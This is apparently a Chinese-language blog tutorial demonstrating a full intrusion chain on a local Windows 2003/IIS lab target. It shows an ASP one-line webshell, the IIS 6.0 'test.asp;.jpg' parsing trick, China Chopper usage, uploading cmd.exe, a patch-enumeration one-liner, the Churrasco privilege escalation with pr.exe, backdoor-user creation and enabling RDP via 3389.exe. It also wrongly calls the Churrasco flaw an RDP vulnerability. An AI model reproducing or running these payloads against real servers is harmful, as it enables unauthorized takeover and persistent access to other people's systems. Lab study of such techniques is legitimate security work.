实验操作均在本地靶机内操作,据网络安全法,作者不对因阅读、理解、误用或滥用本文内容而导致的任何直接、间接、附带或后果性损害承担责任。
1、漏洞前提
巴西烤肉漏洞”(也被称为“巴西烤肉攻击”或“远程桌面协议(RDP)漏洞”)主要指的是针对微软远程桌面协议(RDP)的一种安全漏洞。
漏洞利用的条件是:
- 拿到了shell(这里我们假设已经通过web漏洞拿到了)
- 目标开启RDP服务(我们可以通过拿到shell后的命令行开启)
2、前期准备
靶机:Windows-2003,IIS中间件
2.1 木马连接
用普通的一句话木马,放置到网站目录中:
<%eval request("test")%>
命名木马为test.asp;.jpg(IIS 6.0 存在的文件名解析漏洞),使用中国菜刀连接:

右键进入终端,尝试命令whoami,dir,发现无权限,拒绝访问:

原因在于:菜刀调用的是目标服务器系统的 cmd.exe,此 cmd.exe 程序没有iuser权限(从网站进去服务器时,当前身份是来宾用户并没有权限去调用系统的CMD.exe)
2.2 可读写目录测试
目前我们是有拿到webshell的,那么说明该站点根目录是具有可读写的权限,此时我们可以通过菜刀上传一个脚本去检测网站目录的权限(使用脚本 666.asp 检测目录权限)
先找到网站下面具有读写权限的目录,上传 666.asp:

然后通过浏览器访问:
http://192.168.49.141/asp/666.asp


我们就选择
C:\wmpub来操作。
2.3 上传对应版本cmd.exe
根据对方的操作系统版本,找到对应的操作系统版本中的cmd.exe的程序。(注意上传的cmd.exe程序的版本和型号:如果对方是Windows2003操作系统,那么我们可以在本地虚拟机搭建Windows2003的机器,下载里面的 cmd.exe 程序,通过菜刀上传到对方服务器站点)

在命令行界面我们可以使用setp去调用我们上传的 cmd.exe 程序:
setp c:\wmpub\cmd.exe
我们自己上传的 cmd.exe 程序,是通过网站上传的,他具备iuser(来宾用户)权限,所以我们可以直接通过它以来宾用户的身份来调用操作系统的命令。

2.4 查看补丁
使用systeminfo命令查看服务器打了哪些补丁,如果遇到systeminfo命令不可使用时,大概率是因为对方操作系统的systeminfo.exe程序权限不够或者损坏,此时我们可以再次通过菜刀上传systeminfo.exe,通过绝对路径调用去执行。
可以使用systeminfo执行检测未打补丁的命令来进行补丁检测:
systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt

根据这些补丁编号,去公开的网站搜索EXP(百度,CSDN,github等),复现提权。

3、巴西烤肉漏洞利用
也称为Microsoft Windows RPCSS服务隔离本地权限提升漏洞。
3.1 菜刀上传pr.exe

3.2 pr.exe提权
切换至pr.exe的目录,使用命令:
pr.exe "whoami"

然后就可以使用system权限创建后门用户或者进行其他操作了
3.3 开启3389远程连接

被控制机器没有开启远程连接的话,我们有后门用户也无法RDP登录,这里我们可以菜刀上传 3389.exe ,然后通过 pr.exe 去调用,即可一键开启3389远程连接:

pr.exe "3389.exe"

之后就能使用后门用户进行RDP登录了。